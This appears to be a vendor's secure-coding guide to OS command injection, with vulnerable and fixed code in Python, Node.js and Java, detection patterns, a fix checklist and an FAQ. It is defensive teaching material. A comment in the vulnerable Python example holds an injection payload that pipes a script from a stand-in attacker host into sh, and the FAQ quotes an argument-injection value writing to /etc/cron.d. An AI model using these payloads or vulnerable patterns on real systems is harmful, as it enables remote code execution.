OS command injection: pass an argument list, never a shell string

Command injection happens when user-controlled data becomes part of a string that a shell parses, so `;`, `|`, `&&`, `$(…)`, backticks and newlines turn one command into several. The fix is not to escape those characters — it is to stop invoking a shell: pass the program and its arguments as a list (`subprocess.run([…], shell=False)`, `child_process.execFile`, `ProcessBuilder`), so the operating system hands your arguments straight to `execve` with no parsing step. Where the *program name itself* is user-influenced, an allowlist of permitted commands is the control; where an argument could be read as an option, terminate the option list with `--`.

At a glance

LanguagesPython, Node.js, Java, Go, Ruby, PHP, C — anything that can spawn a process
Dangerous callsos.system, subprocess with shell=True, child_process.exec/execSync, Runtime.exec(String), eval-style shell wrappers, backticks in Ruby and Perl
Safe callssubprocess.run(list, shell=False), child_process.execFile/spawn, ProcessBuilder(List<String>), exec.Command(name, args...)
Metacharacters; | & && || $( ) ` newline < > * ? ~ and, on Windows, ^ and %VAR%
Typical impactRemote code execution as the service account; credential and cloud-metadata theft
Not a fixBlocklisting metacharacters, shlex.quote around a whole command line, or wrapping the input in quotes

Vulnerable and fixed, side by side

Python

Vulnerable

import subprocess

def ping(host: str):
    # host = "8.8.8.8; curl http://evil.tld/s.sh | sh"
    return subprocess.check_output(f"ping -c 1 {host}", shell=True)

Secure

import ipaddress
import subprocess

def ping(host: str) -> bytes:
    # Validate first: this argument has an exact grammar, so use it.
    ipaddress.ip_address(host)          # raises ValueError on anything else
    return subprocess.check_output(
        ["ping", "-c", "1", "--", host],
        shell=False,
        timeout=5,
    )

With shell=False the list elements are passed to execve verbatim — `;` is a literal semicolon in argv[1], not a separator. `--` matters because an argument starting with `-` would otherwise be read as a ping option.

Node.js

Vulnerable

const { exec } = require("node:child_process");

app.get("/logs", (req, res) => {
  exec(`tail -n 100 /var/log/${req.query.file}`, (err, stdout) => res.send(stdout));
});

Secure

const { execFile } = require("node:child_process");
const path = require("node:path");

const LOG_DIR = "/var/log/app";

app.get("/logs", (req, res) => {
  const name = path.basename(String(req.query.file ?? ""));
  const target = path.resolve(LOG_DIR, name);
  if (!target.startsWith(LOG_DIR + path.sep)) return res.status(400).end();

  execFile("tail", ["-n", "100", "--", target], { timeout: 5000 }, (err, stdout) => {
    if (err) return res.status(500).end();
    res.type("text/plain").send(stdout);
  });
});

`exec` spawns `/bin/sh -c`; `execFile` and `spawn` do not, unless you pass `shell: true`. The path check is a second, separate bug class (traversal) that lives in the same handler — fix both.

Java

Vulnerable

Runtime.getRuntime().exec("convert " + userFile + " out.png");

Secure

// Allowlist the program; never let the request name the binary.
private static final Set<String> ALLOWED = Set.of("convert", "identify");

ProcessBuilder pb = new ProcessBuilder(List.of("convert", userFile, "out.png"));
if (!ALLOWED.contains(pb.command().get(0))) throw new IllegalArgumentException();
pb.redirectErrorStream(true);
Process p = pb.start();
if (!p.waitFor(10, TimeUnit.SECONDS)) { p.destroyForcibly(); }

`Runtime.exec(String)` splits on whitespace with a StringTokenizer — it does not invoke a shell, but it also does not respect quoting, so a filename with a space silently becomes two arguments. The List overload is the only predictable form.

How to find it in your codebase

  • Grep the shell-spawning calls: `rg -n 'shell\s*=\s*True|os\.system|child_process\.(exec|execSync)|Runtime\.getRuntime\(\)\.exec|`\S' `.
  • Semgrep `python.lang.security.audit.subprocess-shell-true`, `javascript.lang.security.detect-child-process`, `java.lang.security.audit.command-injection-formatted-runtime-call`.
  • Bandit B602–B607 for Python; CodeQL `py/shell-command-constructed-from-input` and `js/shell-command-constructed-from-input` trace the taint rather than matching the call.
  • Search for shell features the code depends on — pipes, globs, redirection, `&&`. Those are the call sites that cannot simply drop `shell=True` and need restructuring.

Fix checklist

  1. Convert the call to an argument list and set `shell=False` (or switch `exec` → `execFile`).
  2. Replace anything you were relying on the shell for: build pipelines with `stdout=PIPE` between two processes, expand globs with `glob`/`fs.readdir`, redirect by opening the file in code.
  3. Validate each argument against its actual grammar — an IP, a UUID, a member of an enum — rather than blocklisting characters.
  4. Insert `--` before the first user-supplied argument so it cannot be parsed as an option.
  5. Allowlist the executable if the program name is dynamic, and set a timeout plus a working directory on every spawn.
  6. Drop privileges: the process should not be able to do anything interesting even if the argument list is wrong.

Fixes we shipped

Each of these is a pull request Orbis AppSec opened against a real open-source repository.

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.

Browse every command injection case study

Frequently asked questions

Does shlex.quote make shell=True safe?

`shlex.quote` on each individual argument is correct for POSIX shells, but it is easy to apply to the wrong thing — quoting the whole command line, or quoting after interpolation, does nothing. It also has no Windows equivalent, since `cmd.exe` quoting rules differ and `^`/`%` expansion happens after quoting. Passing a list removes the parser entirely, which is why it is the recommendation rather than quoting.

Is Runtime.exec safe because it does not use a shell?

It avoids shell metacharacters, but the single-String overload tokenises on whitespace without honouring quotes, so a filename containing a space becomes two arguments and an attacker who controls the string can inject extra arguments — for example `--output=/etc/cron.d/x`. That is CWE-88 rather than CWE-78, and it is still exploitable. Use the `List<String>` form.

What if the user legitimately needs to supply a command?

Then the command is an enum, not a string. Map a short opaque identifier from the request onto a fixed argument list defined in code, and reject anything not in that map. If the requirement really is arbitrary command execution, the control is isolation — a sandboxed, network-restricted, ephemeral container — not input filtering.

Do I still need to validate arguments once the shell is gone?

Yes, for two reasons. Arguments starting with `-` are interpreted as options by the program you invoke, which is a distinct injection surface, and many programs have their own escapes — `find -exec`, `tar --to-command`, `git --upload-pack`, `ssh -o ProxyCommand`. Validate the value and, where the tool supports it, pass `--` first.

Let Orbis AppSec find these for you

Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.

Try Orbis AppSec

Authoritative sources

See also: Command injection fixes we shipped